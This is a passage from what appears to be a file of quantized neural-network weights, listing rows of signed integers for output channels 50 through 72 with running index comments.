-1736, 1408, -218, -2019, -585, -53, 3092, -283, -984, 188, 793, 813, 611, -872, 701, 567, -124, 558, -1469, -269, // 8840
2345, -63, 3368, 125, -137, -1259, -2339, 250, 1234, 744, 2230, 652, -165, 737, -457, 741, -1349, -554, -4599, 130, // 8860
236, -1897, -159, -586, -931, -48, 486, -849, 552, -480, 1982, -70, -305, 2044, 860, -776, -943, -39, 2342, -869, // 8880
152, 64, 198, 1120, 1336, 219, -1688, 1879, -1165, -863, -545, -2580, -472, -847, -957, 1168, 1852, 640, -532, -2041, // 8900
-548, 38, 582, 1365, -1758, 634, 7, 233, 1287, -2365, 113, -173, -309, -2306, 921, -254, -331, 341, 686, 1968, // 8920
-766, -1469, 1399, -647, 951, 1696, -1569, 436, -1124, 1338, 991, 1373, 1562, -1597, -418, 63, -1144, 302, 631, -247, // 8940
-1228, -3556, 296, -830, -1053, -3603, -34, 685, -783, -1020, 589, 232, 536, -148, -828, -879, -32, -463, 369, 771, // 8960
-448, 280, 646, 613, 491, 197, -1037, 567, -800, 536, 1265, -1948, 490, -108, -1419, -160, -455, -372, -184, -652, // 8980
241, -928, -3328, 38, -1650, 1362, -617, 962, 1516, -1278, 1469, 417, -1417, -34, 2364, 137, -252, -427, 1155, -644, // 9000
// Out channel 50
46, -425, -144, 577, -292, -220, 478, 1484, 963, -106, -284, 270, -94, 400, -1293, -1973, 120, 850, 589, 2804, // 9020
46, -157, -18, 371, 446, 841, 586, -331, -1395, 494, 226, -366, -555, -75, -19, 584, -7, -458, -559, 482, // 9040
-968, 103, 101, -285, 924, -602, 444, -393, 174, -138, -667, -810, 101, -491, 576, -1077, 2272, -374, 203, -854, // 9060
-427, 426, 1063, 883, -228, -499, -210, -59, -848, -62, 1555, 143, -63, 1134, 654, -911, 87, 978, -534, 316, // 9080
-335, 758, -526, -145, -430, -355, 178, -122, 540, 33, -362, -1065, -739, 123, -1058, 190, -902, 1755, -747, -7, // 9100
-134, -9, -512, 182, -621, 325, 4, 383, -546, 2036, 791, 338, 275, 376, -1422, 765, 218, -811, -207, -144, // 9120
47, 1750, 910, -211, 981, -370, 50, -1632, 22, -624, -369, -897, 199, 272, 2690, -143, -810, -1158, -407, 10, // 9140
-560, -923, -1433, -795, 3311, -36, -1629, 80, 93, 496, -876, 289, -17, 527, -305, 2617, 577, 1275, 775, 335, // 9160
-438, -347, -492, -351, -540, -333, -1099, -2984, -73, -429, -531, -282, 420, 1074, -49, -2003, -31, 334, 80, 974, // 9180
// Out channel 51
-2148, -508, 582, -810, -513, -133, 390, -455, -1274, 934, 883, -58, 211, -224, -312, 210, 129, -614, -165, 287, // 9200
-160, 398, 59, -457, 419, -207, 9, 447, -1422, 259, 20, 116, -442, 493, 487, -189, -5257, -246, -306, 62, // 9220
880, -1098, -1247, 433, 33, -563, 231, -838, -383, 188, 2135, 336, 468, 23, -827, -2196, 86, 1522, 709, 156, // 9240
206, -611, -1104, 595, -599, 1991, -344, -587, -749, -572, 551, 1018, -292, 254, 604, 96, 562, 322, -395, -610, // 9260
-201, 115, -296, 1107, -3027, -270, 193, -878, 3758, -70, -351, -2138, 523, 744, 1152, -519, 211, 730, -128, -1444, // 9280
1546, 312, -544, 208, 70, 765, -645, 1424, 51, -312, 609, 3079, -650, 169, -735, -371, 296, -778, 1, 884, // 9300
-668, -640, -170, -139, -1343, -28, 194, -803, -170, -1117, -231, 200, -523, -363, -1140, 320, -616, -1571, -1205, -119, // 9320
-347, -745, 1978, -522, -478, 13, -1730, 580, 20, 428, -701, -339, 172, 420, -292, 320, -671, 68, 356, -305, // 9340
-469, 470, 41, -662, -3125, 364, 521, -504, -304, 203, -682, -224, 1358, 443, 3741, 532, -513, 917, -19, -82, // 9360
// Out channel 52
1734, 969, -377, 799, 574, -606, 9, 761, 604, -1067, -1161, -568, -80, -52, -740, -197, 0, 825, -163, 454, // 9380
498, 592, 625, 956, 429, 1343, 157, 445, 2834, -457, 1599, -487, -647, -107, -139, -106, 3991, -391, 206, -447, // 9400
-957, 1239, 3123, 2121, 46, 763, 134, -225, -349, 351, -2903, -288, -851, -67, 433, 708, 278, -2116, -103, 295, // 9420
-529, 1070, 1334, -673, -138, -266, 572, 109, -94, -256, 110, -1571, -7, 173, -775, -714, 105, -127, 1582, 199, // 9440
-153, -341, -11, -23, 2176, -460, 203, 387, -2080, 121, 272, 4071, 305, -152, -2196, 431, 109, -202, 32, 2854, // 9460
-1601, 122, 1646, -236, -530, -283, 317, -2345, 630, 581, -245, -3286, 614, 681, 314, -213, 536, 484, -66, -279, // 9480
1081, 1197, -61, 373, 2206, 374, 256, 2379, -533, 295, 463, -830, 717, -230, 1800, -914, 386, 1616, 269, -292, // 9500
1914, 762, -2567, 766, 434, 398, -93, 449, -172, 44, -270, -49, -320, -696, 2577, 730, -335, 456, -1605, 1707, // 9520
-133, 537, 367, -366, 1772, -768, -98, 582, 384, 342, 646, 584, -2635, 49, -3894, -1351, -186, -341, 346, 216, // 9540
// Out channel 53
-348, 1618, 81, -389, 757, 579, 768, -1317, -760, 357, 44, 321, 789, -523, 119, 372, -709, -975, -2249, -521, // 9560
345, 932, 1514, 638, -82, 58, -1193, 1431, 200, 163, 881, 962, -296, 590, -12, 97, -668, -381, -2586, -1060, // 9580
-431, -1276, 608, 932, -763, 582, 416, 417, 233, 218, 1417, -1374, -1307, 2061, -85, -71, -1770, -490, 1907, -200, // 9600
-168, -788, -1391, -185, 852, 707, 231, 393, 374, 539, -505, -2009, -975, 159, 179, 2280, 726, 277, 703, -458, // 9620
-1262, -935, 372, 822, -520, 1212, -953, -211, 681, -2284, -277, 126, 433, -1273, 258, 579, -202, 123, 108, 16, // 9640
-29, -1075, 294, 128, 400, 486, -1065, -53, -1377, -257, -331, 167, 1655, -730, 768, -556, -706, 998, -134, 253, // 9660
524, -3641, 123, -568, -2059, -1938, -671, 892, -19, -718, 169, -410, 443, -889, -1332, -805, 159, -355, 254, -352, // 9680
376, 536, 766, 1746, -242, 1035, -978, 982, -339, 1547, 394, -1122, 474, -379, 539, -464, -172, -365, -1536, -541, // 9700
-67, -481, -1603, 561, -529, 613, 1035, 2016, 913, -1363, 1451, 722, -916, -618, 1998, 955, -919, -472, 1793, -666, // 9720
// Out channel 54
-399, -605, 586, 688, 1250, -524, -684, 615, -1414, -2556, -6, -703, -376, 930, -1563, -1416, -235, -1071, 165, 864, // 9740
78, -91, -11, 411, 556, 560, 42, 924, -862, 1328, -893, 293, -2023, -25, 483, -40, -809, -2677, -323, -204, // 9760
-373, -116, -315, 771, 880, 505, 1070, -394, 93, 480, -343, 133, -2746, -357, -1400, -918, 346, -3250, 213, -443, // 9780
42, -912, -543, -313, -410, 240, 210, 177, 1011, -258, 946, 225, 182, 1444, 634, 149, -439, 1475, -218, 155, // 9800
-1669, 1350, 1771, 778, -404, 137, -149, -836, 213, -76, -1808, 152, 1712, 226, 888, -1681, 508, 1197, -1993, 809, // 9820
-174, 184, 9, -839, 622, -1214, 124, -1495, -72, 1801, -223, 739, -587, 323, -966, -92, 236, 1427, -87, 284, // 9840
566, -441, 2362, 70, -245, 194, -1030, 233, -712, -1213, -964, -1211, 77, -795, 499, -3914, -1657, -474, -1033, -282, // 9860
909, 508, -383, 1127, 1301, 339, -500, -1133, -2886, 516, 325, -937, -660, -541, 1253, 2131, -1641, 1048, -2197, 1939, // 9880
-2974, 245, 578, -44, -33, 744, 269, -181, 346, -1013, -1540, 2535, 499, 1151, 9, -1302, 2631, -563, 72, 381, // 9900
// Out channel 55
361, -668, -1258, 125, 1140, 273, -524, 321, 82, -1306, -2384, 224, 553, 443, -411, -767, -218, 345, 195, 1521, // 9920
-450, 2033, -354, 2728, -1, 377, -545, 657, 136, 865, 246, 826, -1583, 749, 124, -510, 718, -2601, 508, 653, // 9940
-167, 924, -338, 1566, -34, -580, 165, 428, 161, 23, -877, -1780, -2511, -100, -1841, 240, 579, -2719, -1330, 231, // 9960
670, 1507, 499, -1579, 93, -750, 716, 205, 997, 515, -45, -16, -1082, 535, -793, -286, 360, 418, 593, -486, // 9980
-1014, -166, 797, 150, -285, 543, -566, 911, -334, 75, 1208, -148, -716, 104, -685, 214, 2042, 530, -289, -482, // 10000
-472, -696, -520, 498, -1166, -372, 259, -1810, -251, 1088, -735, -796, -43, 819, 454, -296, 220, -387, -256, 822, // 10020
2109, 1621, 236, 541, 588, 251, 12, -120, -1852, -202, 1015, -1129, 617, -1333, 1405, -1585, -174, -591, -55, 147, // 10040
1649, -369, -1292, 1520, 1498, 1267, -495, 762, -788, 1859, -207, -841, -238, -641, 2066, 1003, -1961, 45, -1509, 1767, // 10060
-1286, -892, 960, -53, 296, -475, -697, -575, 51, 245, 203, 1697, -102, -884, -784, -894, 1060, 512, 357, -459, // 10080
// Out channel 56
640, 1164, -242, -97, -225, -706, -661, -318, -794, -873, -984, -42, -353, 303, -172, 173, 332, 680, -199, -476, // 10100
633, -18, 798, -617, -43, 1181, -172, -58, 2209, -2333, 664, 711, -70, -481, 501, -334, 1200, -567, 360, -1057, // 10120
-135, 2237, 1935, 1554, 274, 808, 34, 314, -405, -78, -2652, -701, -1095, -269, -413, 314, 68, -2691, -140, 980, // 10140
-1105, 1053, 581, -505, -55, -1530, 1013, 209, 44, -208, 698, -1507, 197, 958, 47, -422, -146, -669, 676, 1076, // 10160
-581, 314, 1021, 162, 979, -348, 294, 387, -869, -338, 324, 3933, 205, 679, -339, -997, 383, -470, -912, 1602, // 10180
-2210, -886, 2148, -444, -18, -1458, 122, -2837, 1381, 666, -433, -886, 899, 274, 197, -251, 142, 376, -93, -722, // 10200
915, -640, 44, 204, 722, 771, 672, 2205, -86, 355, -325, 641, 472, 245, 907, -1290, -195, 811, 131, -186, // 10220
1141, 571, -1117, 672, -93, -78, -244, -135, -419, 108, -666, -1187, -29, -1243, 2445, -348, -1082, -98, -2290, 541, // 10240
-818, 192, 460, 261, 578, -239, 904, 941, 31, 272, 204, 272, -2866, -23, -675, -470, 575, -1074, 1510, 26, // 10260
// Out channel 57
518, 1164, 923, 125, 101, -673, -374, 53, 1853, 378, 122, -186, 366, -61, 186, 129, -104, -708, 300, -806, // 10280
-166, -85, -8, -27, 344, 424, 1593, 1431, -297, 71, 1695, -925, 234, -602, -999, -451, 608, 618, -220, -1307, // 10300
-129, -1486, 476, 1091, -249, 467, -329, -53, 33, -18, 110, 477, 1506, -499, 635, 282, -1435, 1308, 38, 405, // 10320
-71, -319, -620, 502, -816, 2279, -437, -44, 283, 151, -933, -764, -960, -426, 312, -373, -1171, -1556, 57, -912, // 10340
1153, -1078, -94, 167, 803, -2072, 25, -775, -1231, 95, 487, 442, -121, 614, 341, 2308, 150, -486, 471, -610, // 10360
2, 552, 297, 641, -665, 1498, 643, 1635, -30, -1361, 126, -1923, 864, -1122, 1189, -908, -320, -1005, -590, 285, // 10380
348, 180, -1169, -187, -411, 316, -316, -337, 200, -335, 543, -1102, 354, 633, -137, 2065, 446, 1450, 1115, 79, // 10400
-207, 270, 651, -911, -559, -73, -417, -35, 722, -404, -490, 1596, 8, -53, 63, -284, 287, -181, 480, -239, // 10420
539, 1526, -719, -921, 912, -521, 162, 174, -204, 777, 221, -468, 141, -19, -540, 625, -1613, 487, -1023, 677, // 10440
// Out channel 58
-408, 274, 933, 235, -798, 453, 876, 1229, 831, 1939, 1855, 561, 532, 352, 392, -504, 681, 524, 143, 244, // 10460
-40, -1382, 1116, -1830, -819, -2521, -323, -175, -1775, 502, -709, -679, 869, -210, -338, 1681, -1312, 935, -579, 819, // 10480
535, -1214, -814, -2369, -88, -181, -123, 909, 399, -628, 1812, 1295, 1808, 42, 777, 164, 215, 2428, 391, -365, // 10500
602, -1870, 527, 3406, -191, 1678, -1494, 200, -368, -223, -584, 33, -554, -625, 278, -189, -69, -520, -1775, -8, // 10520
949, 82, 67, 472, -929, 80, -552, 487, 1070, 120, 21, -2396, 214, -823, 985, 191, -1054, -299, 404, -596, // 10540
-221, 611, -607, 441, 468, 1641, -47, 3029, -210, -239, 776, 933, 523, -607, 61, 371, -438, -532, 111, -293, // 10560
-930, -1087, -1054, -215, -200, -765, -87, -1231, 1021, -48, -398, 909, -170, 666, -386, 1011, 309, -288, -444, 944, // 10580
-2713, -498, 1090, -2365, -228, 145, 280, -646, 513, -728, -25, 332, 222, 519, -2368, -635, 1170, -374, 1426, -897, // 10600
414, 59, -736, 28, -588, 1229, 61, -2, -252, -45, 700, -1305, 674, -6, 1517, 803, -1175, -710, -872, -565, // 10620
// Out channel 59
-288, -1038, -872, 160, 68, -24, 304, 373, 208, -249, -130, -509, -162, 103, -1277, -694, 522, 273, 227, 1118, // 10640
-30, -112, -163, -88, 40, 1485, 697, -1126, -348, -268, 919, 331, -163, -303, -738, -473, -240, -80, 275, 38, // 10660
-607, -456, 721, -742, 944, -506, -142, -630, 398, -26, -160, -724, 200, -357, 443, -714, 1969, -1, 656, -477, // 10680
-455, 251, 279, 338, 448, -732, -266, 108, -373, -59, 1100, -371, -32, 855, 720, 50, -74, 1573, 293, 210, // 10700
-97, 561, -712, -152, -62, 59, 300, -253, -165, 209, -840, 475, -764, 684, -278, -524, -910, 1161, -18, -110, // 10720
135, -140, 20, -447, -368, -667, 774, 93, 11, 926, 508, 486, -1591, 989, -622, 882, 405, 282, -412, 537, // 10740
545, 183, 694, -150, 800, 305, 775, -528, 598, 53, -32, -166, -466, 714, 860, -465, -848, -834, -638, 267, // 10760
684, 313, -958, -644, 1616, 273, -548, 1066, 185, -856, -1125, -138, 71, -322, -2, 111, 319, 479, 956, 322, // 10780
381, -504, 75, -529, -839, -884, 356, -1477, -639, 807, -889, 26, -2, 792, 510, -1508, 502, 507, -19, 754, // 10800
// Out channel 60
212, 186, -1223, -460, -407, -491, -632, -262, -17, 1259, -950, -969, -98, -1663, 2051, 1067, -1696, -478, -694, -747, // 10820
508, 403, 126, 1764, 1034, 1821, 282, -396, 2617, -174, 369, 1624, 511, -276, -512, -1256, -363, 21, 145, 745, // 10840
-517, -45, -268, 33, -1122, 386, -664, 508, -1112, 1412, -1010, -884, -111, 245, -82, -502, -690, -588, -453, 809, // 10860
-141, 1113, -80, -842, 1099, -2259, 1310, -205, -804, -233, -1481, -263, -578, -838, -2880, 496, 429, -450, 679, 488, // 10880
669, -1688, -244, -1331, -146, -544, 803, -1088, 14, -180, 334, 1746, -1410, 383, -1118, -527, 625, -359, 558, -6, // 10900
481, -915, 138, 1407, -1172, -883, -332, 36, -45, -107, -2118, 827, -444, 187, 2191, -793, 505, 195, -666, 738, // 10920
-471, 474, -194, 343, -189, 584, 685, 1001, 379, 383, 2156, 249, -754, 432, 218, 920, 950, -185, 1722, -131, // 10940
1713, 1125, -1033, 196, -611, 33, -94, 1280, 1309, 889, -561, -271, -453, -116, 1117, -1589, -806, -2526, 208, -1027, // 10960
1492, -391, 547, -1155, 382, -1846, 910, 401, -590, -9, 795, 414, 345, -2142, -612, 604, 680, 1240, 1020, 1070, // 10980
// Out channel 61
711, -2206, -1703, -150, -267, 1287, -798, 1680, 1460, 685, -1581, -1, -772, 668, -421, -1924, -313, 1096, 784, 2974, // 11000
-1683, 475, -3078, 1203, -261, 1888, 543, -1691, -1293, 1000, -527, 470, -1180, 244, 946, -1284, 899, -563, 892, 1896, // 11020
517, 235, -64, -367, 1625, -1268, 210, -639, 71, 354, -815, -1007, -295, -731, -552, -164, 2351, 121, -2624, -652, // 11040
-467, 1161, 687, -178, 160, -142, -245, -88, 516, -195, 900, 2441, 1052, 937, 317, -1769, 120, 89, -391, -796, // 11060
810, 948, -272, -1393, 96, 455, -206, 437, -686, 1223, 191, -159, -1839, -1202, -993, 123, 519, 256, -380, -1246, // 11080
1100, -215, -1857, 1279, -2436, -894, 716, 516, 856, 1035, -469, -594, -1774, 2536, -1394, 1489, -186, -1072, 280, -122, // 11100
7, 4014, 730, -153, 1878, 893, 721, -1940, -76, 447, -373, 238, -365, -535, 3330, 164, 193, -835, -915, 369, // 11120
-1159, -2017, -1487, -631, 1601, -405, -543, 1352, 14, 785, -1140, 844, 433, 524, 720, 1495, 404, 406, 1812, 1796, // 11140
596, -431, 2108, 207, 654, -2268, -1154, -3430, -766, -450, -1183, -20, 2458, 118, -585, -919, 622, 2200, -674, 90, // 11160
// Out channel 62
-153, 176, 440, 225, -235, -126, -659, 293, 153, -8, 625, 360, -191, 523, -119, -79, 228, -37, -59, 496, // 11180
107, -1492, 38, -1056, -238, -1087, -80, -1720, 252, -394, -1633, -328, 137, -1032, 30, 1213, 351, 279, 240, 67, // 11200
418, 814, -101, -2778, -29, 1301, -256, 729, -286, -391, 15, 1324, 674, 15, 2, 66, 523, -110, 374, -921, // 11220
535, -140, 845, 953, -27, -1215, 213, 822, -125, 368, -364, 85, -107, 151, -648, 355, -109, -229, 100, 1378, // 11240
114, 6, 248, -68, -255, 266, -225, 414, 187, 577, -94, 276, 440, 899, 31, -1290, -799, -5, -869, 1864, // 11260
-758, 432, -8, -463, 542, -4, 546, 478, 214, 795, -273, 122, 327, -329, 1060, 242, -764, 92, -312, -952, // 11280
628, -356, 215, -604, -547, -407, 732, 1040, -277, -284, 212, 1497, 416, 1159, 536, -408, 68, -120, 361, -290, // 11300
-1037, 393, -22, -475, 352, -769, -266, -485, -158, -509, 407, -210, 58, -312, -725, 281, 275, 284, 481, 564, // 11320
-34, -488, -353, 27, -529, 2184, -1129, -129, 29, -180, 700, -390, -681, 243, 426, -596, -790, -1715, 13, -190, // 11340
// Out channel 63
258, -671, 998, 900, -281, 2463, 3212, 694, -86, 176, 974, 2425, -1574, 344, -285, -642, 3068, 262, 15, 551, // 11360
-857, -276, -54, -1358, -2392, -637, -744, 370, -294, -503, -167, -220, -213, 582, 1069, 1419, 124, 688, -1269, 483, // 11380
427, 105, -357, -1309, 994, 131, 439, 283, 6391, -4299, -69, 593, 250, 1615, 88, -91, -124, 378, 1078, -2485, // 11400
-1828, -1302, 118, 391, -977, 1132, -3475, 2265, -751, 698, 517, -419, 2249, 487, 313, -599, 306, -660, -327, -2163, // 11420
-394, 357, 525, 767, 154, 1258, -1254, 346, -353, -80, -230, 19, 1404, -2924, -95, 15, -755, -383, 207, 60, // 11440
587, 238, 329, -607, 113, 2010, -404, -70, 1382, 93, 1470, 548, -127, 121, -497, 953, -1596, 203, 4682, -966, // 11460
-606, -21, 343, -1384, 399, -559, -1878, -1268, -80, 430, -89, -447, 342, -66, -126, 160, -192, 517, 263, 2544, // 11480
-981, -332, 704, -484, -186, -915, 769, -1069, -510, 239, 1127, 138, 5966, 683, -1262, 89, -247, 815, -67, 32, // 11500
5, -469, -1188, 1751, 502, 536, -508, -209, 57, -2285, -647, -444, 498, 556, -929, -626, -288, -413, -1248, -3444, // 11520
// Out channel 64
117, 1510, 24, -116, -2476, 45, 398, 133, 884, 1627, 950, 838, 4, -504, 243, 864, 338, 314, -459, -924, // 11540
816, -1093, 914, -1356, -119, -666, 228, 538, 228, -1304, 474, 671, 1958, -307, -432, 1124, -173, 3440, 57, -30, // 11560
-282, -458, -134, 405, -1292, 134, -686, 344, 116, 117, 415, -178, 3083, -1060, 2932, 672, -1143, 3351, 1428, -232, // 11580
46, -385, -539, 2373, -104, 613, -934, 510, -1784, 147, -999, -673, 574, -787, 61, -69, -430, -1144, -653, 1079, // 11600
1478, -291, -2145, 824, 659, -179, 78, -404, 499, -223, 1090, -257, -812, 399, -446, 2071, -2285, -489, 1403, 147, // 11620
-768, 554, 1074, 404, -29, 1997, -205, 2069, -301, -1512, 901, -330, 771, -342, -60, 523, -62, -621, 162, -1011, // 11640
-1691, -656, -1959, -697, -453, -659, 45, -913, 2025, 374, 169, 327, 32, 793, -855, 1959, 358, 516, 871, 334, // 11660
-1608, 612, 254, -2508, -1181, -1476, 774, 333, 1393, -755, 304, 883, 129, 1431, -1775, -1536, 3396, -961, 1514, -2144, // 11680
2341, 504, -1019, -981, -206, 75, 90, 722, 743, -7, 673, -2252, -559, 424, 139, 817, -2319, 113, -277, 183, // 11700
// Out channel 65
-754, -1811, -126, 99, 535, 241, -478, -47, 656, -316, -182, -47, 1758, -33, 431, -654, -126, -1208, -56, 700, // 11720
-815, 120, 302, 92, 306, -2643, -104, -427, -2331, 2021, -842, 163, -223, -61, 106, 118, -4107, -803, 89, -253, // 11740
-35, -1182, -3332, -1055, -681, -975, 341, 281, 340, 436, 3123, 501, 397, -185, -1158, -2009, -995, 1409, -652, -1322, // 11760
1845, -447, -911, -58, 405, 2062, 423, -1250, 824, -46, -362, 290, -1378, -298, 7, 1009, -319, -652, -609, 194, // 11780
629, -295, 83, -120, -2974, 230, -37, -186, 2976, -253, -336, -5421, 640, 166, 1045, -785, -69, 141, -410, -1596, // 11800
1381, 254, -1936, 2, 14, 399, -165, 1694, -1636, 20, 379, 3357, -255, -1654, 161, 392, -518, 147, 94, 1779, // 11820
-689, -939, 711, -701, -2286, -278, -171, -921, -634, -1841, 10, -449, -1032, 40, -1412, 127, -193, -1088, -163, -160, // 11840
-109, 0, 1520, 38, -109, 1015, -644, -603, 594, 405, 1348, 283, -347, -10, -928, 171, -797, 422, 762, 236, // 11860
-1348, 348, -152, 145, -3358, 601, -246, -556, 42, 144, 1067, -152, 2452, 119, 2233, 1097, 262, -161, -23, -258, // 11880
// Out channel 66
-294, 853, -1246, -450, 890, -1427, -1835, 305, -732, -236, -448, -226, 2378, 97, -176, 122, -823, -52, 24, -603, // 11900
-70, 1074, 1073, -616, 95, -855, -24, 577, 637, -32, 510, 307, -325, -229, -577, 495, 229, -883, 706, -1886, // 11920
52, 453, 700, 1237, 109, 1210, 294, 565, -1658, 695, 349, 185, -852, 320, -660, -166, -621, -1333, -878, 203, // 11940
1530, 263, 581, -1082, 464, -1211, 3101, -1589, -210, 355, -369, -1214, -2422, -53, -109, 5, -745, 382, 905, 1953, // 11960
114, -880, 842, 345, -45, 22, -493, -125, 166, 318, -661, 583, -316, 221, -274, -964, 1257, -361, -557, 1398, // 11980
-939, -1043, 753, -61, 7, -1199, 615, -1171, -194, 171, -643, -12, 1292, -492, 1064, -911, 781, 380, -581, 969, // 12000
1555, -955, 73, 2084, -706, 410, 1337, 2574, -516, -836, 184, 224, 1070, 373, -420, -447, 418, 91, -318, -1898, // 12020
949, 705, 586, 1089, 111, 1613, -320, 421, -61, -292, 389, 141, -2528, -1079, 495, -95, -802, -439, -300, -69, // 12040
-514, 354, 520, -674, -800, 508, 363, 1505, 1453, 457, 1288, 567, -1197, -244, -88, -287, 200, -175, 1601, 1203, // 12060
// Out channel 67
41, 523, 968, -168, 473, -569, 41, 85, 1166, -108, -724, -1230, -50, 615, 220, -371, -206, -451, 7, -618, // 12080
480, 1869, -35, 934, 740, 695, 602, 2087, -197, 1370, 1116, -544, -635, 1268, 271, -483, -487, -345, -514, -163, // 12100
-898, -614, -235, 1344, -18, -51, -433, -175, -401, 83, 2, -985, -1497, -1303, -317, -333, -702, -1245, 174, -345, // 12120
519, 290, 307, -1299, 133, 852, -1068, -826, 1000, -100, -326, -995, 148, 471, -783, -73, -674, 18, 1157, -609, // 12140
-796, -492, 916, -626, -17, -289, -523, -219, 274, -104, 38, -554, -113, -347, -302, 942, 325, 223, 603, -74, // 12160
158, 687, -273, 974, -54, 82, -124, -1380, -626, 158, -736, -896, -72, -567, 328, 178, -927, -132, -150, 1658, // 12180
793, 376, 338, 525, 167, -1174, -898, -288, -887, -863, 535, -2176, -29, -904, 220, -338, 186, 49, -299, -220, // 12200
981, 1001, -514, -219, 87, 744, -97, -469, -327, 1178, 1682, -49, 23, -558, 1286, -58, -405, 378, -1015, -170, // 12220
-390, 460, 227, 594, 163, -291, -595, 473, -33, -1157, -618, 634, 1103, -61, -113, -35, 197, -682, -90, 1111, // 12240
// Out channel 68
-378, -48, -3447, -1526, -1258, 354, 146, -53, -76, 1794, 465, 168, -1129, -2896, 144, 481, 329, 211, -2026, 293, // 12260
466, -2254, 1049, 249, 82, 1055, -1109, -1493, 1130, -748, 307, 3839, 606, 272, 13, -964, 437, 739, -71, 547, // 12280
854, -590, 986, -441, -666, -824, -78, -386, -553, 423, -297, -3334, 1369, 734, 587, -42, 790, 1692, 434, 1300, // 12300
-184, 1586, -840, 259, 1140, -1075, -82, 1736, -1402, -209, 709, 176, 1078, -297, 173, -292, 2710, 588, -394, 387, // 12320
894, -176, -1691, -932, -260, 468, 380, 765, 76, -851, 193, 689, -3239, 807, 59, -107, -840, 1012, 592, -709, // 12340
97, -2212, 147, -19, -2492, 323, -882, 823, 1038, -882, -1306, -330, -1336, 513, -596, 469, 563, -545, 162, -1754, // 12360
-1499, 21, -755, -1004, 95, -484, 1220, -226, 1068, 102, -35, 1581, 380, -436, 384, -151, -317, 223, -126, 377, // 12380
-1377, -379, 351, -896, -318, -1165, -271, 3475, 786, -6, -1715, -233, -272, 1434, 178, -141, 1336, -640, 2058, -628, // 12400
1145, -1369, -357, 345, -154, -1459, 1080, -552, 243, 171, -392, -1566, -91, 13, 739, 599, -376, 1745, 1678, 106, // 12420
// Out channel 69
762, 11, 43, 316, 1278, 433, 607, 216, 913, -1223, -1334, 665, 698, 70, 201, -428, -449, -520, -690, -79, // 12440
178, 2263, -472, 407, 76, 246, -587, 2389, -88, 997, 417, -231, -1472, 1315, 252, -862, 461, -2379, -222, 410, // 12460
-611, 31, -354, 873, -28, -35, 497, -204, -63, 222, 308, -365, -2912, 701, -1154, 320, 178, -2070, 161, -531, // 12480
133, 1032, -19, -301, 423, 318, -132, 198, -312, -311, -164, 317, -493, 121, -349, 105, -533, 62, 228, -961, // 12500
-1124, -115, 1657, 96, -64, 712, -664, 42, -385, 616, -399, -855, -161, -1162, 302, -155, 656, 1002, -524, 148, // 12520
-555, -1003, -715, 522, 280, 492, 258, -599, 330, 1727, -513, -833, 643, -307, -188, -60, -601, 262, 70, 522, // 12540
182, 320, 991, 27, 184, 283, 421, 52, -1749, -166, 880, -2004, -112, -793, 251, -2740, -350, 154, -417, -132, // 12560
363, -25, -508, 802, 27, 777, -78, 149, -1872, 965, 1449, -233, 81, -229, 838, 201, -1238, -143, -1650, 656, // 12580
-981, -846, 378, 989, -70, 142, -1523, -416, 898, -1472, 743, 1707, 1386, -432, -199, -178, 1119, 203, 498, 87, // 12600
// Out channel 70
146, -135, -189, -440, 2383, -108, -2692, 186, 75, -1536, -1278, 41, 785, 923, 214, -609, -549, 64, 1275, 272, // 12620
-796, 1998, -1665, 1071, 112, 437, -254, 469, 4, 1319, -1016, -412, -1104, -317, 765, -348, 205, -779, 946, -224, // 12640
-299, 1196, -1291, -194, 332, 72, 528, 236, -595, 814, -105, -280, -2080, -410, -1622, 51, 1365, -2011, -2488, 1577, // 12660
539, 334, 765, -3741, 18, -893, 4047, -1966, 2476, -412, -813, 417, -1154, 13, -536, -86, -759, -173, 870, 93, // 12680
-655, -574, 699, -146, -88, -187, 377, 52, 156, 1255, -542, 52, -44, 78, 468, 223, 3805, 253, -644, -278, // 12700
-735, -1330, -1110, 936, 446, -1195, 1261, -2617, -960, 1220, 377, -128, -78, -30, -461, -734, -307, 194, 118, 2156, // 12720
3767, 411, 856, 1735, 235, 2595, 188, 625, -1075, -350, -202, -885, -267, -638, 1106, -1380, 256, -307, -528, -1527, // 12740
986, -277, -1691, 2479, -196, 2533, -97, 127, -349, -27, 361, 148, -991, -2344, 1713, 73, -2089, 71, -745, 2206, // 12760
-1312, -295, 3638, 130, -455, -255, -537, 139, -272, 292, 354, 2909, 386, -1050, -506, -834, 1098, -48, 690, -81, // 12780
// Out channel 71
1098, 254, -687, -142, -84, 189, -977, 401, 1160, -203, -275, 347, 476, 37, 91, 399, -517, 685, 151, -285, // 12800
-1213, -1272, -943, -487, -743, -828, 172, -1745, 1258, -1058, -955, 247, -154, -147, 313, -603, 1943, -272, 203, -419, // 12820
587, 3237, 46, -1660, 310, 1214, -1, 1075, 216, 382, -1696, -532, 1000, -17, -545, 1444, 101, -23, -2104, 360, // 12840
1809, 415, 1532, -757, 423, -2271, 794, -51, 718, 318, -428, 272, -754, 440, -847, 287, -860, -968, 827, 1665, // 12860
880, -57, 357, -322, 1874, 246, -348, 431, -1368, 673, 563, 1365, -74, 121, -1160, -1584, 148, -1111, 588, 1493, // 12880
-1290, -528, -53, 384, 559, -1546, 346, -645, 637, 548, -560, 330, 433, 755, 708, -211, -351, 668, 760, -1612, // 12900
681, 1108, 143, 461, 1183, 1718, 936, 2535, 437, 1753, 496, 1720, -363, 728, 272, 1091, 866, 449, 975, -456, // 12920
-232, 382, -1132, 653, -553, 303, 1997, -100, -509, -4, -48, 662, -567, -299, -130, -242, -157, -691, 645, 237, // 12940
-117, -201, 988, 444, 1767, 225, -633, 526, -372, -700, 1217, 597, -319, -700, -1644, 790, 244, -752, 501, -397, // 12960
// Out channel 72
-251, -525, 119, 795, 391, -1012, -3100, -314, -286, 84, 425, -2187, -709, 336, 82, -5, 84, -90, 850, -77, // 12980
-1229, -83, -2107, -673, 915, 250, 3686, -1865, -58, -454, -1821, -232, 325, -1855, -596, -327, 314, 1071, 3544, -1474, // 13000
-173, 1070, -446, -742, 530, 580, 182, 972, -549, 808, -521, 903, 466, -5070, -3, 392, -130, 520, -933, 448, // 13020
-73, -629, 272, -681, -585, -959, 1472, -67, 359, 469, 294, 1632, 864, 265, -16, 178, -1120, -66, 455, 2718, // 13040
661, -60, 113, -1310, 366, -1839, 2003, -1047, -381, 900, -56, 230, 662, 4293, -659, -341, -1098, -199, 76, -467, // 13060
709, 2033, -432, 136, 730, -2041, 273, -563, 343, 153, -373, -365, -2262, 281, 39, -96, 779, 464, -1139, -718, // 13080
-86, 611, 656, -37, 87, 2050, -274, -13, 717, 1046, 64, 477, -1084, 1927, -354, 273, 80, 91, 168, -469, // 13100
